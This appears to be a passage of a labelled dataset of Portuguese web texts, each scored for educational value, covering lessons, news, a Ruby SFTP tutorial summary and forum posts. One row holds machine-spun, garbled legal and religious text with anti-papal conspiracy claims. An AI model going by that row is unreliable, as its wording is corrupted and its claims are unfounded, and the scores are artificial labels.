incluídos, com analise linha por linha do que o código está fazendo. Convido você a participar e experimentar o quão facilmente Ruby pode automatizar partes de rotinas de seu trabalho diário. +Nosso programa tem um requisito básico: ele precisa se conectar a um servidor de SFTP remoto e enviar nossos arquivos. No entanto, também gostaríamos que ele transferisse apenas arquivos que foram alterados localmente, e automaticamente recursivo em subdiretórios enquanto procura por arquivos para upload. +O fluxo planejado para o script é: +Estabeleça uma conexão SFTP com um servidor remoto. +Liste todos os arquivos e subdiretórios em um diretório local. +Entre recursivamente em quaisquer subdiretórios e repita a partir do passo dois, criando subdiretórios remotos conforme necessário. +É claro que os passos um a três são facilmente manipulados por objetos já incluso no Ruby e Net::SFTP. O passo quatro é muito interessante. Enquanto a classe Dir do Ruby oferece uma forma de recursividade em subdiretórios, não é tão óbvia como gostaríamos. Já que Ruby permite fácil extensão da linguagem, por que não escrever nosso próprio método? Não somente vai ser muito divertido, mas também vamos aprender como é fácil estender Ruby. +Além de Ruby em si, nossas únicas dependências são as bibliotecas Net::SFTP e Net::SSH [1]. Felizmente para nós, ambos são empacotados como Gems[2]. Assumindo que você tem Ruby instalado em sua máquina local e Gem está no path, execute um prompt de comando e digite: +Agora estamos prontos para começar a escrever algum código. Vamos tentar conectar ao servidor remoto, listar todos os arquivos em um determinado diretório local, e fechar a conexão. Iremos fazer isso usando as interfaces Net::SSH e Net::SFTP e a classe Dir do Ruby. +Requer a biblioteca Net::SFTP, uma vez que usaremos as duas. +Estabelece uma sessão SSH com um dado nome de usuário e senha. (Argumentos adicionais tal como um servidor de proxy também podem ser informados aqui. Veja a documentação da API para maiores informações.) +Abre uma conexão SFTP para o servidor remoto. +A classe Dir lista todos os arquivos em um diretório de trabalho corrente. +Sai do laço de listagem de arquivos. +Depois de executar o script no meu sistema, a seguinte saída é produzida: +Olhando para nossa lista original de requisitos, conseguimos finalizar os passos um e dois com nove linhas de código. +Vamos passar ao passo três, comparar os timestamps dos arquivos listados com os timestamps remotos, e transferir apenas os arquivos que foram alterados. (Para os nossos propósitos, definimos que um arquivo tenha sido modificado se o timestamp local é maior ou igual ao timestamp no servidor remoto.) Comparar timestamps com Ruby é realmente fácil. Na verdade, a própria comparação pode ser feita com apenas uma linha de código. +Vamos dar uma olhada no script agora: +Vamos passar por este código linha a linha: +3. - 4. Estabelece nossa sessão SSH e conexão SFTP. +5. Percorre os arquivos no diretório de trabalho corrente. +6. Já que não podemos lidar com recursividade em diretórios ainda, verifica se o arquivo corrente realmente é um diretório, em caso afirmativo, salta para a próxima iteração do laço. +7. - 11. Já que arquivos remotos podem não existir ainda, precisamos capturar exceções que Net::SFTP poderá lançar quando tentarmos determinar seu timestamp. Definimos duas flags: uma indica se o arquivo local foi modificado e precisa ser transferido, e outra que indica se o arquivo remoto ainda não existe. +12.- 13. Se o arquivo local ainda não foi transferido ou é mais novo que o arquivo remoto, imprime uma linha indicando que o arquivo será transferido. +14. Transfere o arquivo local para o servidor remoto. +15.- 18. Fecha a sentença If, o laço pelos arquivos, a conexão SFTP, e a sessão SSH. +Vamos finalizar o nosso script descendo por subdiretórios e lidando com situ...",original,original,original,original,4,0.8 +"Você já se sentiu como um detetive, tentando desvendar um mistério? Resolver problemas de matemática é muito parecido! Em vez de pistas escondidas em um livro, temos números, operações e informações que, quando organizadas, nos levam à solução. + +No dia a dia, a resolução de problemas está em toda parte. Imagine que você e seus amigos querem dividir uma pizza em partes iguais. Quantos pedaços cada um vai comer? Ou, se você está juntando dinheiro para comprar um jogo novo, quanto precisa economizar por semana para atingir seu objetivo? Essas são situações reais que envolvem a matemática e a capacidade de resolver problemas. + +O primeiro passo para se tornar um mestre na resolução de problemas é a leitura atenta. Leia o problema com calma, identifique o que ele está pedindo e quais informações são importantes. Sublinhe as palavras-chave, anote os dados relevantes e tente visualizar a situação. Imagine que você está criando um filme na sua cabeça! + +Depois, é hora de planejar a sua estratégia. Qual operação matemática você precisa usar? Adição, subtração, multiplicação ou divisão? Ou talvez uma combinação delas? Pense em problemas parecidos que você já resolveu e veja se a mesma estratégia pode funcionar. Uma dica importante: muitas vezes, desenhar um diagrama ou fazer um esquema pode ajudar a visualizar o problema e encontrar a solução. + +Vamos a um exemplo prático: Maria quer comprar um livro que custa R$35,00. Ela já tem R$12,00 guardados. Quanto dinheiro Maria ainda precisa juntar? Neste caso, precisamos subtrair o valor que Maria já tem do preço total do livro. R$35,00 - R$12,00 = R$23,00. Portanto, Maria precisa juntar mais R$23,00. Viu como é simples? + +Outro exemplo: João quer dividir 24 balas entre seus 4 amigos. Quantas balas cada amigo vai receber? Aqui, precisamos dividir o número total de balas pelo número de amigos. 24 ÷ 4 = 6. Cada amigo receberá 6 balas. + +Não tenha medo de errar! A resolução de problemas é um processo de aprendizado. Se você não conseguir resolver o problema de primeira, não desanime. Tente outra estratégia, revise seus cálculos e peça ajuda se precisar. O importante é persistir e nunca desistir de aprender. + +Para finalizar, pense na seguinte questão: Como a resolução de problemas pode te ajudar em outras áreas da sua vida, além da matemática? A capacidade de analisar informações, planejar estratégias e encontrar soluções é valiosa em qualquer situação, seja nos estudos, no trabalho ou nos relacionamentos. Então, continue praticando, explorando e desvendando os enigmas matemáticos que surgirem no seu caminho! ",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, pois introduz a resolução de problemas de forma lúdica e contextualizada, utilizando exemplos práticos e relevantes para o cotidiano dos alunos. A linguagem é clara e acessível, incentivando a persistência e o aprendizado contínuo. Aborda conceitos matemáticos básicos de forma integrada e estimula o desenvolvimento de habilidades de análise e planejamento. O texto é adequado para o ensino fundamental, promovendo um aprendizado estruturado e significativo.",5,1.0 +Nenhum termo de busca especificado. Exibindo os mais recentes. Pesquise ou use as teclas seta para cima/baixo para selecionar um item.,original,original,original,original,0,0.0 +"Olá, pequenos exploradores! Já pararam para pensar em como medimos as coisas ao nosso redor? A matemática está presente em cada pedacinho do nosso dia a dia, e as medidas são uma parte super importante dela! Hoje, vamos embarcar em uma aventura para descobrir como medir diferentes coisas e por que isso é tão útil. + +Imagine que você vai fazer um bolo delicioso com a sua família. Para que o bolo fique perfeito, precisamos medir os ingredientes com cuidado. Usamos xícaras e colheres para medir a quantidade de farinha, açúcar e leite. Essas medidas nos ajudam a ter certeza de que o bolo vai ficar fofinho e saboroso! As medidas de capacidade, como litros e mililitros, são muito importantes na cozinha e também para saber a quantidade de água que bebemos durante o dia. + +Outra coisa legal é medir o tempo! Usamos relógios e calendários para organizar nossas atividades e saber quanto tempo levamos para fazer as coisas. Por exemplo, quanto tempo você gasta para ir da sua casa até a escola? Ou quanto tempo dura o seu programa de TV favorito? Medir o tempo nos ajuda a planejar o nosso dia e a não perder nenhum compromisso importante. Podemos usar segundos, minutos, horas, dias, semanas, meses e anos, cada um para medir diferentes períodos de tempo. + +E que tal medir o comprimento das coisas? Usamos réguas, fitas métricas e até mesmo nossos próprios pés para medir o tamanho de objetos, a altura das pessoas e a distância entre lugares. Se você quer saber qual é o tamanho da sua mesa, pode usar uma régua para medir em centímetros ou metros. Se você quer saber a distância entre a sua casa e a casa do seu amigo, pode usar um mapa e medir em quilômetros. Saber medir comprimentos nos ajuda a construir coisas, planejar viagens e entender melhor o mundo ao nosso redor. + +Além disso, temos as medidas de massa, que geralmente chamamos de peso. Usamos balanças para medir a massa dos alimentos, dos objetos e até mesmo das pessoas. Quando vamos ao supermercado, vemos que as frutas e os legumes são vendidos por quilo (kg). O quilo é uma unidade de medida de massa muito comum, mas também podemos usar gramas (g) para medir coisas menores, como temperos e especiarias. + +Agora, pensem um pouquinho: como vocês usam as medidas no dia a dia de vocês? Já ajudaram a medir os ingredientes de uma receita? Já usaram uma régua para medir o tamanho de um brinquedo? Já prestaram atenção no tempo que levam para fazer as atividades? Explorar o mundo das medidas é como abrir uma porta para um mundo de possibilidades matemáticas! Ao aprender a medir, vocês se tornam detetives do dia a dia, capazes de resolver problemas, planejar atividades e entender melhor o mundo ao seu redor. Então, continuem explorando, medindo e descobrindo as maravilhas da matemática!",Matemática,Medidas e grandezas,anos iniciais (1º ao 5º ano),"O texto apresenta informações básicas sobre medidas (capacidade, tempo, comprimento, massa) de forma acessível e contextualizada para crianças. Introduz conceitos importantes do currículo de matemática do ensino fundamental, como unidades de medida e suas aplicações práticas, utilizando uma linguagem clara e consistente, com exemplos relevantes para o cotidiano dos alunos. O trecho incentiva a exploração e a aplicação do conhecimento, tornando-o altamente valioso para fins educacionais.",5,1.0 +"Suas sugestões e reclamações serão bem-vindas e encaminhadas às áreas competentes. Basta preencher o formulário abaixo. Ou se preferir, entre em contato por telefone.",original,original,original,original,0,0.0 +"João escreveu o Apocalipse em grego, nãeste em latim. Por isso, é absurdo relacionar este 666 usando o inexistente título papal escrito em latim. Este Muito mais lógico seria calcular este “número” ou “nome” da besta usando as letras em grego. Não acha? +A proteção dos direitos da personalidade dá-se em vários ramos do ordenamento jurídico. Assim sendo, dependendo do direito atingido e do interesse visado, a resposta Têm a possibilidade de ser das variados formas: a) Preventiva: objetivando evitar a concretização da ameaça do lesãeste ao direito da personalidade. +Se o aviso prévio foi indenizado, conta-se o prazo a partir do prazo de projeção do aviso, ou mesmo que, se seu sinal pré especialmentevio foi do trinta tempo, considera-se de que seu contrato se extinguiu depois de projetados ESTES trinta dias, que é este qual aconteceria se você tivesse trabalhado neste período. +18/03/2017 Boa tarde Lázaro, Meu pai trabalhou em uma empresa tais como motorista do 1986 a 2008, no entanto, assinava papelada de que nãeste eram verdadeiros sobre suas condições de produção, saiba como a jornada, que era bastante maior do de que constava nesses documentos. Atualmente, meu pai está tentando se aposentar, e utilizando ESTES documentos com informações erradas ele Têm a possibilidade de manter-se a ser prejudicado. É possível entrar utilizando uma ação trabalhista de modo a pedir a correçãeste desses documentos exatamente de que ele já tenha saído da empresa a tantos anos? +Um dos Ainda mais reconhecidos e importantes sites de televisão do País do futebol, pioneiro pelo segmento. Familial em 2006, se tornou fonte segura por Saber para milhares de internautas loucos por televisão e seus afins. +- caso seu bairro apresente problemas de fala por saneamento, carência por vigor, este pré especialmentedio da escola está usando risco do desabamento e entre outros. Assim, a associação do Saiba mais bairro, representada pelos Defensores Públicos, poderá propor proceder civil pública. Quem pode Pesquisar a Defensoria? Qualquer pessoa que não possui condições financeiras de estes detalhes modo a arcar com despesas utilizando advogado particular e as custas judiciais. +Grande abraçeste, e que o Espirito Santo continue te usando sempre para nos esclarecer as dúvidas e Nesse caso abreviar a volta de nosso Deus onipotente. +Todos os papa sãeste anti-messias, opositores da verdade e se prostitui com todos estes idolos, começando pelo dagon representado na mitra, aquele chapeu usando boca do peixe, e o simbolos deles. A palavra anti-cristo, surge apenas apos 1700 ou 1800 porque quando J.F de Almeida traduziu era somente Jesu, como estava antes de 1500 Iesous, antes nãeste tinha a letra J que veio existis depois do 1500. O presente falso Messias já teve um, vários nomes falsos, até mesmo pelo Judaismo de que nao aceitou este Salvador, este verdadeiro YAOHÚSHUA, assim todos sãeste anti-messias, vulgo anti-cristo, e o seguinte este oitavo vem do islã por onde o vaticano presentemente se uniu formando este cris-lã. +Pessoa: ente físico (ser humano – pessoa natural) ou coletivo (pessoa jurídica) suscetível de direitos e obrigações. Sujeito por direito é aquele sujeito do um dever/pretensão/titularidade jurídica. +Trabalhei em uma empresa pelo período entre ESTES anos 2000 e 2001. Pedi demissãeste da mesma, e agora com a hipotese de sacar este fgts, descobri qual nãeste houve deposito nenhum. +20/03/2017 Olá Cibele. excelente tarde veja aqui agora e obrigado por tua consulta. Se a conta relativa a este nosso período de emprego estiver inativo, ou mesmo que, se estiver nos registros da Caixa Economica saiba como “inativo” , sim, vc poderá resgatar este de que estiver lá depositado. Consulte as agências da Caixa de modo a melhor informar-se, ok? abs +O direito à vida antecede este direito à liberdade, aqui incluída a liberdade de religiãeste é falácia argumentar usando os de que morrem através mesma, como, aí se trata por contexto fático totalmente diverso. +Pablo Stolze Gaglia...",original,original,original,original,3,0.6 +"Relatório que deverá ser divulgado no fim do mês pelo Instituto de Estudos do Trabalho e Sociedade (IETS), a pedido da Secretaria Estadual do Ambiente do Rio, vai mostrar que aproximadamente 300 catadores que vivem em Jardim Gramacho, Duque de Caxias, poderiam estar recebendo o Bolsa Família não fosse… a simples falta de cadastro. +Os motivos são diversos: desde a falta de documentação à trâmites burocráticos. O benefício os ajudaria a superar a pobreza extrema num momento em que as atividades do lixão estão prestes a se encerrar. Com o fechamento de Gramacho, Seropédica vai receber um aterro sanitário, no qual a atividade de catação não poderá existir. +O lançamento do serviço de coleta seletiva em Xerém será feito no dia 6 de abril, às 10h, na sede campestre da Associação dos Antigos Funcionários do Banco do Brasil (Alameda Santa Alice, 310), pelo secretário Municipal de Meio Ambiente, Agricultura e Abastecimento, Samuel Maia. Será a segunda região do município a dispor do serviço. A primeira está localizada no primeiro distrito e beneficia catadores que atuam desde 2009 em Olavo Bilac, Gramacho e Jardim Leal e nos sub-bairros do entorno. +A ampliação do programa faz parte da Política Municipal de Coleta Seletiva, implantado pelo prefeito José Camilo Zito (PSDB), que vai contribuir para o fortalecimento da cadeia produtiva da reciclagem. “Visa também à melhoria da gestão de resíduos e a inclusão social de catadores de material reciclável”, destacou Maia, que também está implantando a coleta seletiva em todos os órgãos municipais da cidade. +O número de lixões no país é desconhecido, mas o Ministério do Meio Ambiente (MMA) afirma que mais de 60% das cidades não tratam o lixo adequadamente. A reciclagem também é limitada. “Apenas 900 municípios de 5.565 possuem algum tipo de coleta seletiva”, afirma Sérgio Gonçalves, diretor de Ambiente Urbano do MMA. +Recentemente, o cotidiano dos catadores mobilizou artistas e cineastas. Em 2011, os catadores foram retratados no documentário ‘Lixo extraordinário’, que concorre ao Oscar com a apresentação da realidade do Aterro de Gramacho. O mesmo lixão foi cenário de ‘Estamira’ (2004), de Marcos Prado, e voltará às telas com ‘As crianças do lixão’, de Robert Ziehe. +Em Gramacho, os mais de 1,3 mil catadores garimpam o material reciclável em meio ao lixo despejado por cerca de 900 caminhões – 9 mil toneladas diárias. “Eu trabalhava em um depósito aqui perto, quando minhas colegas me contaram que havia um jeito de ganhar dinheiro mais fácil, sem burocracia. Assim eu vim parar aqui”, conta a catadora Débora da Cruz Amaral, de 26 anos. Ela afirma que conseguiu organizar sua vida com o dinheiro pago pelo lixo recolhido. “Comprei uma moto, um terreno e os móveis da minha casa”, afirma. +Sobre o fim do aterro, Débora diz que está determinada a procurar outras oportunidades. “Às vezes nem acredito que vim parar aqui. Não quero mais ficar aqui, já estou colocando currículos em empresas da região, vamos torcer”, conta a jovem. +A falta de perspectivas é compartilhada pelos colegas. “Ainda não sei o que vou fazer”, diz Isac Alves Rodrigues, 64 anos, que trabalha há mais de 20 em Gramacho. “Talvez eu vá para o Lixão de Bangu. Mas Seropédica (onde está sendo preparado um novo aterro sanitário) não. Lá é muito distante”, reclama o catador. +Hoje, o material recolhido é revendido para os 42 depósitos ao redor. Para o coordenador do aterro, Lucio Viana, as cooperativas de catadores devem substituir o atual sistema. “As cooperativas precisam se legalizar, ter a posse dos documentos exigidos, constituindo um fundo de apoio e capacitação aos catadores”, diz ele. O espaço deve ser desativado antes do prazo dado pelo governo federal. Em março, uma reunião entre governo e catadores deve definir a data final da desativação total. +Na quarta-feira (23), deputados distritais visitaram o local e constataram as irregularidades. “O direito à vida é ignorado ali e isso coloca em risco o cumprimento dos direitos humanos. É precis...",original,original,original,original,4,0.8 +"""É verdade que nós ferimos muitas pessoas, mas mesmo assim, foi em nome da justiça. E, se um dia eu tiver que pagar por esses pecados, não tenho a menor intenção de resistir à condenação... Eu vou aceitar. Mas será que existem homens capazes de viver sem cometer a menor falta?"" (Shun de Andrômeda) +""É verdade que a humanidade cometeu muitos erros... Talvez realmente devam ser destruídos... Preocupações, sofrimentos... Vivem ferindo uns aos outros... Mas também amam... Às vezes, isso os torna mais maravilhosos do que uma forma perfeita de vida... É nisso que eu acredito... Nem que seja por um instante... Eu quero acreditar nas maravilhas da humanidade."" (Saori Kido) +""Quando se quer enganar o inimigo é preciso começar enganando os amigos."" (Saori Kido) +""Deve ser mais difícil viver como a reencarnação de uma deusa, do que morrer como uma simples mortal."" (Seiya de Pégaso) +""As flores nascem e depois murcham... as estrelas brilham, mas algum dia se extinguem... Comparado à isso, a vida do homem não é nada mais do que um simples piscar de olhos, um breve momento."" (Shaka de Virgem) +""Você cresceu tanto porque aquilo em que acreditava realmente estava certo. Eu gostaria de poder deixa-lo viver para usar esse poder que adquiriu, mas eu não tenho mais forças para ajuda-lo. Perdoe-me."" (Camus de Aquário) +É um dos meus embates preferidos também. Valeu pelo comentário ;)",original,original,original,original,2,0.4 +"Olá, pequenos exploradores da leitura! Já pensaram em ser detetives? Mas não detetives de polícia, e sim detetives de textos! É muito divertido e nos ajuda a entender tudo o que lemos. Imagine que cada texto é um mapa do tesouro, cheio de pistas e informações valiosas esperando para serem descobertas. + +Mas como um detetive de textos trabalha? Primeiro, ele observa tudo com muita atenção. Quando você pega um livro ou vê um texto na internet, não comece a ler correndo! Olhe para o título, as imagens (se tiverem), e pense: ""Sobre o que será que este texto vai falar?"". Isso já é a primeira pista! + +Depois, o detetive começa a ler. Mas não é só passar os olhos pelas palavras! É preciso prestar atenção em cada frase, em cada pedacinho da história. Se encontrar uma palavra que não conhece, não se desespere! Tente descobrir o que ela significa pelo contexto, ou seja, pelas outras palavras que estão perto dela. Imagine que você está lendo uma frase sobre um ""felino"". Se o texto fala sobre gatos, leões e tigres, você já pode imaginar que ""felino"" tem a ver com esses animais! + +E as perguntas? Ah, elas são as melhores amigas dos detetives! Enquanto você lê, faça perguntas como: ""Quem são os personagens?"", ""Onde a história está acontecendo?"", ""O que aconteceu primeiro, e depois?"". Responder a essas perguntas é como montar um quebra-cabeça, e no final você terá o texto todinho na sua cabeça! + +Vamos a um exemplo prático? Imagine que você está lendo uma pequena notícia: ""Cachorro salva família de incêndio"". Já pensou em todas as perguntas que você pode fazer? Quem é a família? Onde aconteceu o incêndio? Como o cachorro salvou a família? Quanto mais perguntas você fizer, mais detalhes você vai descobrir e mais fácil será entender a notícia. + +Ser um detetive de textos é uma aventura incrível! Com um pouco de atenção, curiosidade e as perguntas certas, você pode desvendar qualquer mistério que as palavras escondem. Então, prepare sua lupa e seu bloco de notas, e comece já a explorar o mundo mágico da leitura! E lembre-se, a prática leva à perfeição! Quanto mais você lê e interpreta, melhor você fica em desvendar os segredos dos textos. Agora, que tal procurar um texto bem legal e colocar suas habilidades de detetive em ação? Boa leitura e boa investigação!",Português,Leitura e interpretação de texto,anos iniciais (1º ao 5º ano),"O trecho recebe pontuação máxima pois introduz a análise textual de forma lúdica e acessível para crianças, utilizando a analogia do 'detetive de textos'. Apresenta técnicas de compreensão textual como observação, atenção ao contexto e formulação de perguntas, com exemplos práticos e linguagem clara. O conteúdo é relevante para o desenvolvimento da interpretação de textos, habilidade fundamental no ensino fundamental.",5,1.0 +"A mobilização para a 10ª edição da Bienal da UNE não para. No próximo domingo (22) é a vez da Universidade Federal de Santa Maria (UFSM), no Rio Grande do Sul, preparar uma pré-bienal com muita arte, cultura, rodas de discussão e exposições. O evento acontece a partir das 16h, no espaço multiuso da universidade. +Aleff Fernando, diretor de combate ao racismo da UEE-Livre RS e estudante da UFSM conta que a pré-bienal acontecerá em dois momentos. Primeiro uma roda de discussão sobre arte e cultura do município de Santa Maria e depois saraus e intervenções artísticas.",original,original,original,original,1,0.2 +"InícioQuestão RacialCasos de RacismoRetrospectiva 2014: Conheça 14 casos que provam que ainda existe racismo no... +Questão RacialCasos de Racismo +Retrospectiva 2014: Conheça 14 casos que provam que ainda existe racismo no Brasil +29/12/2014 +WhatsApp +Facebook +Twitter +Pinterest +Linkedin +Telegram +Reprodução/Facebook +Vigora no Brasil desde 1989 uma lei estabelece o tempo de prisão para crimes resultantes de preconceito de raça, etnia e religião. Mas isso não significa que os crimes de cunho racial não venham sendo registrados nos últimos 25 anos – ainda que dados da Secretaria de Políticas de Promoção da Igualdade Racial apontem um decréscimo nos últimos três anos. +Por Thiago de Araújo, do Brasil Post +Em 2014, os crimes racistas mancharam diversos jogos de futebol no Brasil, ou até mesmo fora das nossas fronteiras, mas envolvendo jogadores brasileiros. Os casos do goleiro Aranha, do lateral Daniel Alves e do volante Tingaforam apenas alguns dos mais ilustrativos de um problema que ganha destaque quando envolve uma paixão nacional (neste caso, o futebol). +O desprendimento que leva torcedores a ofender jogadores resume aquilo que diariamente integra um comportamento comum em toda a sociedade, não deixando imune nem mesmo figuras globais, o ambiente as universidades brasileiras, e até aqueles que acabam menosprezados por um determinado corte de cabelo durante a renovação de um passaporte. +O Brasil Post noticiou esses casos e trazemos os mais reverberados deles aqui. A lista dos 14 mais comentados do ano representa um pouco do que não queremos ver em 2015. +Acompanhe. +Caso Aranha +LEANDRO MARTINS/FUTURA PRESS/ESTADÃO CONTEÚDO +No fim de agosto, o Santos venceu o Grêmio em Porto Alegre por 2 a 0, em partida válida pela Copa do Brasil. Mas o resultado ficou em segundo plano. O goleiro Aranha, do time paulista, alvo de ofensas racistas durante todo o jogo. Ele chamou a atenção do árbitro Wilton Pereira Sampaio várias vezes ao longo da partida, sem sucesso. Ufoima torcedora do Grêmio, filmada por câmeras de TV proferindo xingamentos a Aranha, virou alvo durante semanas por ‘representar a essência’ de mais um triste capítulo registrado pelo futebol brasileiro. Como se não bastasse, um dos auditores do Superior Tribunal de Justiça Desportiva (STJD) responsável pelo julgamento do caso no Rio de Janeiro foi acusado de ser racista,por conta de postagens em sua página no Facebook +Daniel Alves +Manu Fernandez/AP +Jogadores brasileiros também sofreram fora do País. No fim de abril, o lateral-direito Daniel Alves, do Barcelona, se preparava para bater um escanteio quando uma banana, atirada por um torcedor do Villarreal, caiu ao seu lado no gramado. Em um ato impulsivo, Alves pegou a banana e a comeu, antes de então cobrar o escanteio. O caso gerou fortes repercussões – com direito a Pelé minimizar o ato racista –, com direito a uma outra polêmica: a campanha Somos Todos Macacos, encabeçada por outro brasileiro, Neymar. O que parecia ser um ato de apoio acabou se revelando uma ação de marketing do staff do atacante, e gerou fortes críticas nas redes +Tinga +ERBS JR./FRAME/ESTADÃO CONTEÚDO +Um mês antes, o volante Tinga, do Cruzeiro, foi alvo de insultos racistas durante uma partida da Copa Libertadores, contra o Real Garcilaso, do Peru. Na oportunidade, até mesmo a presidente Dilma Rousseff se solidarizou com o jogador. Apesar do regulamento da Confederação Sul-Americana de Futebol (Conmebol) prever até mesmo a exclusão da equipe peruana por conta da manifestação racista de sua torcida, o clube acabou apenas multado em cerca de R$ 28 mil +Racismo na Copa +Reprodução/Sunday People +O Brasil sediou a Copa do Mundo neste ano e, lamentavelmente, nem mesmo o mais importante evento do futebol escapou de incidentes racistas. No mais emblemático deles, um torcedor inglês teve uma das orelhas mordida por outro torcedor, durante a derrota da Inglaterra para o Uruguai por 2 a 1, em 16 de junho, na Arena Corinthians. Além da agressão, a vítima teria sido chamada de “negr...",original,original,original,original,3,0.6 +"Apostila cnc by Cremilson Silva 26221 views +Apostila torno cnc fanuc 21i by Renan Ribeiro 86488 views +Exercício de CNC by Luciano Santos 10830 views +Caderno de exercícios by Rogerio Silva 1225 views +Introdução a CNC by Luciano Santos 25126 views +Fabricação de uma peça real utiliza... by Rafael Lial 7094 views +Teotonio Nascimento , Diretor na EFONAPE at EFONAPE +ccvggytrtegfhaasddg +Henrique Bastos Ferreira , Coordenador tecnico na ViBrasil Preditiva at vibrasilpreditiva +muito bom aprendi bastante com essas informaçoes +Adilson esta apostila é muito boa obrigado! +Vagner de Paulo , Professor na FATEC CATANDUVA at FATEC CATANDUVA +1. CURSO DE PROGRAMAÇÃO CNC IFPR CURSO DE PROGRAMAÇÃO CNC 1. CNC E O AMBIENTE DE AUTOMAÇÃO ............................................3 1.1. HISTÓRICO .............................................................................................................3 1.2. COMPARATIVO ENTRE USINAGEM CONVENCIONAL X CNC 5 1.3. DEFINIÇÃO E TIPOS DE COMANDO NUMÉRICO ......................6 1.4. PRINCÍPIO DE FUNCIONAMENTO ........................................................9 1.5. CARACTERÍSTICAS DAS MÁQUINAS CNC ..................................12 1.6. VANTAGENS E DESVANTAGENS DO COMANDO NUMÉRICO ......................................................................................................................15 1.7. MODOS DE FUNCIONAMENTO DAS MÁQUINAS CNC ........16 1.8. TRANSFERÊNCIA DE DADOS, REDES DNC ...............................18 1.9. EIXOS E SENTIDOS DE MOVIMENTO ..............................................19 1.10. ZERO MÁQUINA, ZERO PEÇA E ZERO FERRAMENTA 21 1.11. DETERMINAÇÃO DO ZERO PEÇA ...............................................24 2. PROGRAMAÇÃO DE MÁQUINAS CNC............................................26 2.1. SEQÜÊNCIA PARA PROGRAMAÇÃO MANUAL .........................26 2.2. ESTRUTURA DE PROGRAMA ................................................................28 3. SISTEMAS DE COORDEADAS CARTESIANAS ........................................................29 3.1. COORDENADAS ABSOLUTAS ...............................................................30 3.2. EXERCÍCIOS – SISTEMAS DE COORDENADAS ABSOLUTAS ...................................................................................................................31 3.3. COORDENADAS INCREMENTAIS .......................................................36 3.4. EXERCÍCIOS – SISTEMAS DE COORDENADAS ABSOLUTAS ...................................................................................................................37 3.5. ANÁLISE DE DESENHOS ...........................................................................41 3.6. LINGUAGEM DO SISTEMA ISO..............................................................47Prof. Ricardo Adriano dos Santos 1 +2. CURSO DE PROGRAMAÇÃO CNC IFPR 3.7. PROGRAMAÇÃO DE BLOCOS DE TRAJETÓRIA ......................49 3.8. POSSIBILIDADES DE MOVIMENTOS ENTRE DOIS PONTOS 50 4. FRESAMENTO - PROGRAMAÇÃO DE CONTORNOS...........54 4.1. DEFINIÇÃO DE FERRAMENTAS ...........................................................55 4.2. FUNÇÕES PREPARATÓRIAS E AUXILIARES .............................58 4.3. EXEMPLO DE PROGRAMA DE FRESADORA .............................65 4.4. CÓDIGOS G - FRESADORA ISO ...........................................................66 4.5. CÓDIGOS M - FRESADORA ISO ...........................................................67 4.6. PROGRAMAÇÃO DE SUB ROTINAS ..................................................68 4.6.1. G81 CICLO DE FURAÇÃO CURTA................................................69 4.6.2. G83 CICLO DE FURAÇÃO ..................................................................70 5. TORNEAMENTO - PROGRAMAÇÃO DE CONTORNOS ......74 5.1. CÓDIGOS G - TORNO COMANDO ISO ...........................................100 5.2. CÓDIGOS M - TORNO COMANDO ISO ..........................................101 5.3. TORNEAMENTO - PROGRAMAÇÃO DE CICLOS....................102 5.3.1. G71 CICLO DE DESBASTE LONGITUDINAL .....",original,original,original,original,4,0.8 +"MA é o Estado que mais aumenta empregos com carteira assinada no Nordeste +Quem chega mais perto do Maranhão no Nordeste é a Bahia, com 1,42% de alta. Em seguida, vêm o Piauí (1,02%) e Ceará (0,92%). Os outros cinco Estados (Rio Grande do Norte, Sergipe, Paraíba, Pernambuco e Alagoas) tiveram queda. +Se for considerado o intervalo dos últimos 12 meses (entre agosto de 2017 e julho de 2018), o Maranhão também alcança o maior aumento proporcional, com 2,45%. Quem mais chega perto é o Ceará, com 1,67%. +Os dados foram sistematizados pelo Banco do Nordeste. De acordo com relatório da instituição, “o Maranhão registrou saldo positivo de 8.867 postos de emprego, de janeiro a julho de 2018. O resultado foi puxado em decorrência, principalmente, da expansão no nível de empregos do setor de Serviços (+6.979)”. +“Os segmentos Indústria da Transformação (+2.454), Agropecuária (+1.580) e Serviços Industrias de Utilidade Pública (+400) também finalizaram o semestre com saldo positivo”, acrescenta o documento. +O Maranhão tem conseguido gerar empregos graças à parceria firmada desde 2015 entre o Governo Flávio Dino e os empresários. Flávio estabeleceu incentivos para criar empregos, o que vem dando resultados concretos, como mostram os números.",original,original,original,original,3,0.6 +"Você já se imaginou como um escritor famoso, criando histórias que encantam e emocionam leitores de todo o mundo? A produção textual é a ferramenta que te permite transformar suas ideias em realidade, expressando seus pensamentos e sentimentos de forma clara e criativa. Mas, como começar? Não se preocupe, vamos juntos desvendar os segredos da escrita! + +Primeiramente, é importante entender que escrever não é apenas juntar palavras aleatoriamente. Um bom texto precisa ter um propósito, uma mensagem que você quer transmitir. Imagine que você quer contar sobre suas férias inesquecíveis na praia. O que você quer que as pessoas sintam ao ler seu texto? A alegria de construir castelos de areia, o frescor do mar, a beleza do pôr do sol? Definir seu objetivo é o primeiro passo para uma escrita eficaz. + +Depois de definir o objetivo, pense na estrutura do seu texto. Assim como uma casa precisa de alicerces, paredes e telhado, um texto precisa de introdução, desenvolvimento e conclusão. A introdução serve para apresentar o assunto e despertar o interesse do leitor. O desenvolvimento é onde você detalha suas ideias, usando exemplos e argumentos para convencê-lo. E a conclusão é o momento de amarrar todas as pontas, reforçando sua mensagem principal. No caso das suas férias, a introdução poderia ser uma frase chamativa sobre a aventura, o desenvolvimento detalharia os momentos marcantes, e a conclusão poderia ser uma reflexão sobre como essa experiência te transformou. + +Agora, vamos falar sobre a importância da linguagem. Use palavras que você conhece e que sejam adequadas ao seu público. Evite gírias e expressões muito informais, a menos que elas tenham um propósito específico. Lembre-se que a clareza é fundamental. Quanto mais fácil for para o leitor entender sua mensagem, mais eficaz será seu texto. Explore sinônimos para deixar a leitura mais interessante e evite repetições desnecessárias. + +E por último, mas não menos importante: revise! A revisão é a etapa crucial para garantir que seu texto esteja impecável. Leia em voz alta, prestando atenção na sonoridade e no ritmo das frases. Verifique se não há erros de ortografia ou gramática. Peça para um amigo ou familiar ler seu texto e dar sua opinião. Aceite as críticas construtivas e use-as para aprimorar sua escrita. Imagine que você escreveu uma receita de bolo, mas esqueceu de mencionar o fermento. A revisão te ajudaria a identificar essa falha e garantir um bolo perfeito! + +A produção textual é uma habilidade que se desenvolve com a prática. Quanto mais você escrever, mais confiante e criativo você se tornará. Então, pegue um caderno, abra o computador e comece a escrever! Quais histórias incríveis você tem para contar ao mundo? Qual mensagem você quer compartilhar? Acredite no seu potencial e deixe sua imaginação 